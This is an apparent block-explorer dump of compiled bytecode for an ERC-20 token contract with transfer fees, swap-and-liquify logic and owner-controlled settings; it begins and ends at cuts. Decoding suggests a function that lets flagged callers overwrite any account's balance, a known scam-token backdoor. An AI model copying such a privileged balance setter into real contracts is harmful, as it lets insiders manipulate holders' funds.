4df523b3ef846040516133029190614421565b60405180910390a3600190509392505050565b6001602060146101000a81548160ff021916908315150217905550600061336e6002613360601a546133526015548761377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061338582846130f890919063ffffffff16565b905061339081613835565b600047905060006133c16133b060026015546137eb90919063ffffffff16565b601a546130f890919063ffffffff16565b905060006133ff60026133f1846133e36015548861377090919063ffffffff16565b6137eb90919063ffffffff16565b6137eb90919063ffffffff16565b9050600061342a8361341c6017548761377090919063ffffffff16565b6137eb90919063ffffffff16565b905060006134538261344585886130f890919063ffffffff16565b6130f890919063ffffffff16565b9050600081111561348b5761348a600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682613ac0565b5b60008211156134c1576134c0600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683613ac0565b5b6000831180156134d15750600087115b156134e1576134e08784613b0b565b5b505050505050506000602060146101000a81548160ff02191690831515021790555050565b60008173ffffffffffffffffffffffffffffffffffffffff1661352a600154613bff565b73ffffffffffffffffffffffffffffffffffffffff1614159050919050565b60008060009050600d60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156135d1576135ca60646135bc6018548661377090919063ffffffff16565b6137eb90919063ffffffff16565b905061364f565b600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561364e5761364b606461363d6019548661377090919063ffffffff16565b6137eb90919063ffffffff16565b90505b5b6000811115613753576136aa81600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161374a9190614421565b60405180910390a35b61376681846130f890919063ffffffff16565b9150509392505050565b60008083141561378357600090506137e5565b6000828461379191906145bd565b90508284826137a0919061458c565b146137e0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016137d7906143a1565b60405180910390fd5b809150505b92915050565b600061382d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613c11565b905092915050565b6000600267ffffffffffffffff81111561385257613851614864565b5b6040519080825280602002602001820160405280156138805781602001602082028036833780820191505090505b509050308160008151811061389857613897614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561393a57600080fd5b505afa15801561394e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906139729190613d6a565b8160018151811061398657613985614835565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506139ed30601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401613a5195949392919061446c565b600060405180830381600087803b158015613a6b57600080fd5b505af1158015613a7f573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a78282604051613ab492919061443c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015613b06573d6000803e3d6000fd5b505050565b613b3830601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612893565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080613b84611fe7565b426040518863ffffffff1660e01b8152600401613ba696959493929190614268565b6060604051808303818588803b158015613bbf57600080fd5b505af1158015613bd3573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190613bf89190613f77565b5050505050565b6000613c0a82613c74565b9050919050565b60008083118290613c58576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613c4f91906142ff565b60405180910390fd5b5060008385613c67919061458c565b9050809150509392505050565b6000819050919050565b600081359050613c8d81614ae9565b92915050565b600081519050613ca281614ae9565b92915050565b60008083601f840112613cbe57613cbd614898565b5b8235905067ffffffffffffffff811115613cdb57613cda614893565b5b602083019150836020820283011115613cf757613cf661489d565b5b9250929050565b600081359050613d0d81614b00565b92915050565b600081359050613d2281614b17565b92915050565b600081519050613d3781614b17565b92915050565b600060208284031215613d5357613d526148a7565b5b6000613d6184828501613c7e565b91505092915050565b600060208284031215613d8057613d7f6148a7565b5b6000613d8e84828501613c93565b91505092915050565b60008060408385031215613dae57613dad6148a7565b5b6000613dbc85828601613c7e565b9250506020613dcd85828601613c7e565b9150509250929050565b600080600060608486031215613df057613def6148a7565b5b6000613dfe86828701613c7e565b9350506020613e0f86828701613c7e565b9250506040613e2086828701613d13565b9150509250925092565b60008060408385031215613e4157613e406148a7565b5b6000613e4f85828601613c7e565b9250506020613e6085828601613d13565b9150509250929050565b600080600060408486031215613e8357613e826148a7565b5b600084013567ffffffffffffffff811115613ea157613ea06148a2565b5b613ead86828701613ca8565b93509350506020613ec086828701613cfe565b9150509250925092565b600060208284031215613ee057613edf6148a7565b5b6000613eee84828501613cfe565b91505092915050565b600060208284031215613f0d57613f0c6148a7565b5b6000613f1b84828501613d13565b91505092915050565b600080600060608486031215613f3d57613f3c6148a7565b5b6000613f4b86828701613d13565b9350506020613f5c86828701613d13565b9250506040613f6d86828701613d13565b9150509250925092565b600080600060608486031215613f9057613f8f6148a7565b5b6000613f9e86828701613d28565b9350506020613faf86828701613d28565b9250506040613fc086828701613d28565b9150509250925092565b6000613fd68383613ff1565b60208301905092915050565b613feb8161465d565b82525050565b613ffa8161464b565b82525050565b6140098161464b565b82525050565b600061401a826144f1565b6140248185614514565b935061402f836144e1565b8060005b838110156140605781516140478882613fca565b975061405283614507565b925050600181019050614033565b5085935050505092915050565b6140768161466f565b82525050565b614085816146b2565b82525050565b614094816146c4565b82525050565b60006140a5826144fc565b6140af8185614525565b93506140bf8185602086016146fa565b6140c8816148ac565b840191505092915050565b60006140e0602383614525565b91506140eb826148bd565b604082019050919050565b6000614103602283614525565b915061410e8261490c565b604082019050919050565b6000614126601b83614525565b91506141318261495b565b602082019050919050565b6000614149602883614525565b915061415482614984565b604082019050919050565b600061416c602183614525565b9150614177826149d3565b604082019050919050565b600061418f602083614525565b915061419a82614a22565b602082019050919050565b60006141b2602583614525565b91506141bd82614a4b565b604082019050919050565b60006141d5602483614525565b91506141e082614a9a565b604082019050919050565b6141f48161469b565b82525050565b614203816146a5565b82525050565b600060208201905061421e6000830184614000565b92915050565b60006020820190506142396000830184613fe2565b92915050565b60006040820190506142546000830185614000565b6142616020830184614000565b9392505050565b600060c08201905061427d6000830189614000565b61428a60208301886141eb565b614297604083018761408b565b6142a4606083018661408b565b6142b16080830185614000565b6142be60a08301846141eb565b979650505050505050565b60006020820190506142de600083018461406d565b92915050565b60006020820190506142f9600083018461407c565b92915050565b60006020820190508181036000830152614319818461409a565b905092915050565b6000602082019050818103600083015261433a816140d3565b9050919050565b6000602082019050818103600083015261435a816140f6565b9050919050565b6000602082019050818103600083015261437a81614119565b9050919050565b6000602082019050818103600083015261439a8161413c565b9050919050565b600060208201905081810360008301526143ba8161415f565b9050919050565b600060208201905081810360008301526143da81614182565b9050919050565b600060208201905081810360008301526143fa816141a5565b9050919050565b6000602082019050818103600083015261441a816141c8565b9050919050565b600060208201905061443660008301846141eb565b92915050565b600060408201905061445160008301856141eb565b8181036020830152614463818461400f565b90509392505050565b600060a08201905061448160008301886141eb565b61448e602083018761408b565b81810360408301526144a0818661400f565b90506144af6060830185614000565b6144bc60808301846141eb565b9695505050505050565b60006020820190506144db60008301846141fa565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006145418261469b565b915061454c8361469b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614581576145806147a8565b5b828201905092915050565b60006145978261469b565b91506145a28361469b565b9250826145b2576145b16147d7565b5b828204905092915050565b60006145c88261469b565b91506145d38361469b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561460c5761460b6147a8565b5b828202905092915050565b60006146228261469b565b915061462d8361469b565b9250828210156146405761463f6147a8565b5b828203905092915050565b60006146568261467b565b9050919050565b60006146688261467b565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006146bd826146d6565b9050919050565b60006146cf8261469b565b9050919050565b60006146e1826146e8565b9050919050565b60006146f38261467b565b9050919050565b60005b838110156147185780820151818401526020810190506146fd565b83811115614727576000848401525b50505050565b6000600282049050600182168061474557607f821691505b6020821081141561475957614758614806565b5b50919050565b600061476a8261469b565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561479d5761479c6147a8565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f5472616e7366657220616d6f756e74206578636565647320746865206d61785460008201527f78416d6f756e742e000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b614af28161464b565b8114614afd57600080fd5b50565b614b098161466f565b8114614b1457600080fd5b50565b614b208161469b565b8114614b2b57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220ae0e0ae4b681ac052742110ee667a82a269a60139ca55aa048bb9fc9235a083e64736f6c63430008070033

Deployed Bytecode

0x6080604052600436106103905760003560e01c8063807c2d9c116101dc578063c49b9a8011610102578063dc44b6a0116100a0578063f2514e881161006f578063f2514e8814610da7578063f2fde38b14610de4578063f872858a14610e0d578063f985622d14610e3857610397565b8063dc44b6a014610ceb578063dd62ed3e14610d16578063f0cd1dac14610d53578063f1d5f51714610d7e57610397565b8063c8607952116100dc578063c860795214610c2d578063c867d60b14610c58578063cab0347114610c95578063da00097d14610cc057610397565b8063c49b9a8014610bae578063c5d2418914610bd7578063c816841b14610c0257610397565b8063a073d37f1161017a578063a83f53a711610149578063a83f53a714610af2578063a9059cbb14610b1d578063c2d4640e14610b5a578063c469b6dd14610b8357610397565b8063a073d37f14610a36578063a08e671f14610a61578063a457c2d714610a8c578063a5d69d1f14610ac957610397565b80638b42507f116101b65780638b42507f1461097a5780638da5cb5b146109b75780639174c79d146109e257806395d89b4114610a0b57610397565b8063807c2d9c146108f957806382eefb431461092457806388790a681461094f57610397565b80633b646444116102c15780635881f3ef1161025f57806370a082311161022e57806370a082311461083f57806371d03f581461087c57806377f31d03146108a55780637d1db4a5146108ce57610397565b80635881f3ef1461078557806360efb94f146107c257806361a23c69146107eb5780636249faf11461081657610397565b806340b8000a1161029b57806340b8000a146106c757806342efd370146106f25780634a74bb021461072f57806357a5802f1461075a57610397565b80633b646444146106245780633b97084a146106615780633ecad2711461068a57610397565b80632563ae831161032e5780632c4b2334116103085780632c4b23341461056a578063313ce5671461059357806335d23615146105be57806339509351146105e757610397565b80632563ae83146104eb57806327c8f835146105145780632b112e491461053f57610397565b80631245e3471161036a5780631245e3471461042d5780631694505e1461045857806318160ddd1461048357806323b872dd146104ae57610397565b806301c6adc31461039c57806306fdde03146103c5578063095ea7b3146103f057610397565b3661039757005b600080fd5b3480156103a857600080fd5b506103c360048036038101906103be9190613e2a565b610e63565b005b3480156103d157600080fd5b506103da610efe565b6040516103e791906142ff565b60405180910390f35b3480156103fc57600080fd5b5061041760048036038101906104129190613e2a565b610f90565b60405161042491906142c9565b60405180910390f35b34801561043957600080fd5b50610442610fae565b60405161044f9190614224565b60405180910390f35b34801561046457600080fd5b5061046d610fd4565b60405161047a91906142e4565b60405180910390f35b34801561048f57600080fd5b50610498610ffa565b6040516104a59190614421565b60405180910390f35b3480156104ba57600080fd5b506104d560048036038101906104d09190613dd7565b611004565b6040516104e291906142c9565b60405180910390f35b3480156104f757600080fd5b50610512600480360381019061050d9190613eca565b6110de565b005b34801561052057600080fd5b50610529611190565b6040516105369190614209565b60405180910390f35b34801561054b57600080fd5b506105546111b4565b6040516105619190614421565b60405180910390f35b34801561057657600080fd5b50610591600480360381019061058c9190613d3d565b6111f8565b005b34801561059f57600080fd5b506105a86112d1565b6040516105b591906144c6565b60405180910390f35b3480156105ca57600080fd5b506105e560048036038101906105e09190613d3d565b6112e8565b005b3480156105f357600080fd5b5061060e60048036038101906106099190613e2a565b6113c1565b60405161061b91906142c9565b60405180910390f35b34801561063057600080fd5b5061064b60048036038101906106469190613d3d565b611474565b60405161065891906142c9565b60405180910390f35b34801561066d57600080fd5b5061068860048036038101906106839190613ef7565b611494565b005b34801561069657600080fd5b506106b160048036038101906106ac9190613d3d565b611533565b6040516106be91906142c9565b60405180910390f35b3480156106d357600080fd5b506106dc611553565b6040516106e99190614224565b60405180910390f35b3480156106fe57600080fd5b5061071960048036038101906107149190613d3d565b611579565b60405161072691906142c9565b60405180910390f35b34801561073b57600080fd5b50610744611599565b60405161075191906142c9565b60405180910390f35b34801561076657600080fd5b5061076f6115ac565b60405161077c9190614421565b60405180910390f35b34801561079157600080fd5b506107ac60048036038101906107a79190613d3d565b6115b2565b6040516107b99190614209565b60405180910390f35b3480156107ce57600080fd5b506107e960048036038101906107e49190613f24565b611b10565b005b3480156107f757600080fd5b50610800611bf0565b60405161080d9190614421565b60405180910390f35b34801561082257600080fd5b5061083d60048036038101906108389190613e6a565b611bf6565b005b34801561084b57600080fd5b5061086660048036038101906108619190613d3d565b611d30565b6040516108739190614421565b60405180910390f35b34801561088857600080fd5b506108a3600480360381019061089e9190613e6a565b611d79565b005b3480156108b157600080fd5b506108cc60048036038101906108c79190613e6a565b611e75565b005b3480156108da57600080fd5b506108e3611faf565b6040516108f09190614421565b60405180910390f35b34801561090557600080fd5b5061090e611fb5565b60405161091b9190614421565b60405180910390f35b34801561093057600080fd5b50610939611fbb565b6040516109469190614421565b60405180910390f35b34801561095b57600080fd5b50610964611fc1565b6040516109719190614421565b60405180910390f35b34801561098657600080fd5b506109a1600480360381019061099c9190613d3d565b611fc7565b6040516109ae91906142c9565b60405180910390f35b3480156109c357600080fd5b506109cc611fe7565b6040516109d99190614209565b60405180910390f35b3480156109ee57600080fd5b50610a096004803603810190610a049190613f24565b612010565b005b348015610a1757600080fd5b50610a206120f0565b604051610a2d91906142ff565b60405180910390f35b348015610a4257600080fd5b50610a4b612182565b604051610a589190614421565b60405180910390f35b348015610a6d57600080fd5b50610a7661218c565b604051610a839190614421565b60405180910390f35b348015610a9857600080fd5b50610ab36004803603810190610aae9190613e2a565b612192565b604051610ac091906142c9565b60405180910390f35b348015610ad557600080fd5b50610af06004803603810190610aeb9190613eca565b61225f565b005b348015610afe57600080fd5b50610b07612311565b604051610b149190614421565b60405180910390f35b348015610b2957600080fd5b50610b446004803603810190610b3f9190613e2a565b612317565b604051610b5191906142c9565b60405180910390f35b348015610b6657600080fd5b50610b816004803603810190610b7c9190613f24565b612336565b005b348015610b8f57600080fd5b50610b98612416565b604051610ba59190614421565b60405180910390f35b348015610bba57600080fd5b50610bd56004803603810190610bd09190613eca565b61241c565b005b348015610be357600080fd5b50610bec612505565b604051610bf99190614421565b60405180910390f35b348015610c0e57600080fd5b50610c1761250b565b604051610c249190614209565b60405180910390f35b348015610c3957600080fd5b50610c42612531565b604051610c4f9190614421565b60405180910390f35b348015610c6457600080fd5b50610c7f6004803603810190610c7a9190613d3d565b612537565b604051610c8c91906142c9565b60405180910390f35b348015610ca157600080fd5b50610caa612557565b604051610cb79190614421565b60405180910390f35b348015610ccc57600080fd5b50610cd561255d565b604051610ce291906142c9565b60405180910390f35b348015610cf757600080fd5b50610d00612570565b604051610d0d9190614421565b60405180910390f35b348015610d2257600080fd5b50610d3d6004803603810190610d389190613d97565b612576565b604051610d4a9190614421565b60405180910390f35b348015610d5f57600080fd5b50610d686125fd565b604051610d759190614421565b60405180910390f35b348015610d8a57600080fd5b50610da56004803603810190610da09190613ef7565b612603565b005b348015610db357600080fd5b50610dce6004803603810190610dc99190613d3d565b6126a2565b604051610ddb91906142c9565b60405180910390f35b348015610df057600080fd5b50610e0b6004803603810190610e069190613d3d565b6126c2565b005b348015610e1957600080fd5b50610e22612814565b604051610e2f91906142c9565b60405180910390f35b348015610e4457600080fd5b50610e4d612827565b604051610e5a9190614421565b60405180910390f35b600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615610efa5780600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b5050565b606060028054610f0d9061472d565b80601f0160208091040260200160405190810160405280929190818152602001828054610f399061472d565b8015610f865780601f10610f5b57610100808354040283529160200191610f86565b820191906000526020600020905b815481529060010190602001808311610f6957829003601f168201915b5050505050905090565b6000610fa4610f9d61288b565b8484612893565b6001905092915050565b600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601b54905090565b6000611011848484612a5e565b506110d38461101e61288b565b6110ce85604051806060016040528060288152602001614b2f60289139600760008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061108461288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b600190509392505050565b6110e661288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611173576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116a906143c1565b60405180910390fd5b80602060176101000a81548160ff02191690831515021790555050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b60006111f36111e27f000000000000000000000000000000000000000000000000000000000000dead611d30565b601b546130f890919063ffffffff16565b905090565b61120061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461128d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611284906143c1565b60405180910390fd5b80600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600460009054906101000a900460ff16905090565b6112f061288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461137d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611374906143c1565b60405180910390fd5b80600460016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600061146a6113ce61288b565b8461146585600760006113df61288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461282d90919063ffffffff16565b612893565b6001905092915050565b600e6020528060005260406000206000915054906101000a900460ff1681565b61149c61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611529576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611520906143c1565b60405180910390fd5b80601e8190555050565b600c6020528060005260406000206000915054906101000a900460ff1681565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d6020528060005260406000206000915054906101000a900460ff1681565b602060159054906101000a900460ff1681565b60155481565b60006115bc61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611649576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611640906143c1565b60405180910390fd5b60008290508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561169457600080fd5b505afa1580156116a8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116cc9190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663e6a43905308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561172e57600080fd5b505afa158015611742573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117669190613d6a565b6040518363ffffffff1660e01b815260040161178392919061423f565b60206040518083038186803b15801561179b57600080fd5b505afa1580156117af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117d39190613d6a565b9150600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611994578073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561185057600080fd5b505afa158015611864573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118889190613d6a565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156118ea57600080fd5b505afa1580156118fe573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119229190613d6a565b6040518363ffffffff1660e01b815260040161193f92919061423f565b602060405180830381600087803b15801561195957600080fd5b505af115801561196d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119919190613d6a565b91505b81602060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160096000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600d6000602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050919050565b611b1861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611ba5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b9c906143c1565b60405180910390fd5b82600f819055508160108190555080601181905550611be5601154611bd7601054600f5461282d90919063ffffffff16565b61282d90919063ffffffff16565b601881905550505050565b60165481565b611bfe61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611c8b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c82906143c1565b60405180910390fd5b60005b83839050811015611d2a578160096000868685818110611cb157611cb0614835565b5b9050602002016020810190611cc69190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611d229061475f565b915050611c8e565b50505050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611e705760005b83839050811015611e6e5781600e6000868685818110611df557611df4614835565b5b9050602002016020810190611e0a9190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611e669061475f565b915050611dd2565b505b505050565b611e7d61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f01906143c1565b60405180910390fd5b60005b83839050811015611fa9578160086000868685818110611f3057611f2f614835565b5b9050602002016020810190611f459190613d3d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080611fa19061475f565b915050611f0d565b50505050565b601c5481565b601d5481565b60195481565b60125481565b600b6020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b61201861288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146120a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161209c906143c1565b60405180910390fd5b8260128190555081601381905550806014819055506120e56014546120d760135460125461282d90919063ffffffff16565b61282d90919063ffffffff16565b601981905550505050565b6060600380546120ff9061472d565b80601f016020809104026020016040519081016040528092919081815260200182805461212b9061472d565b80156121785780601f1061214d57610100808354040283529160200191612178565b820191906000526020600020905b81548152906001019060200180831161215b57829003601f168201915b5050505050905090565b6000601e54905090565b601a5481565b600061225561219f61288b565b8461225085604051806060016040528060258152602001614b5760259139600760006121c961288b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546130949092919063ffffffff16565b612893565b6001905092915050565b61226761288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146122f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122eb906143c1565b60405180910390fd5b80602060166101000a81548160ff02191690831515021790555050565b60175481565b600061232b61232461288b565b8484612a5e565b506001905092915050565b61233e61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146123cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c2906143c1565b60405180910390fd5b82601581905550816016819055508060178190555061240b6017546123fd60165460155461282d90919063ffffffff16565b61282d90919063ffffffff16565b601a81905550505050565b60115481565b61242461288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146124b1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124a8906143c1565b60405180910390fd5b80602060156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516124fa91906142c9565b60405180910390a150565b60105481565b602060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60135481565b60096020528060005260406000206000915054906101000a900460ff1681565b60145481565b602060169054906101000a900460ff1681565b600f5481565b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60185481565b61260b61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612698576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161268f906143c1565b60405180910390fd5b80601d8190555050565b60086020528060005260406000206000915054906101000a900460ff1681565b6126ca61288b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612757576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161274e906143c1565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daa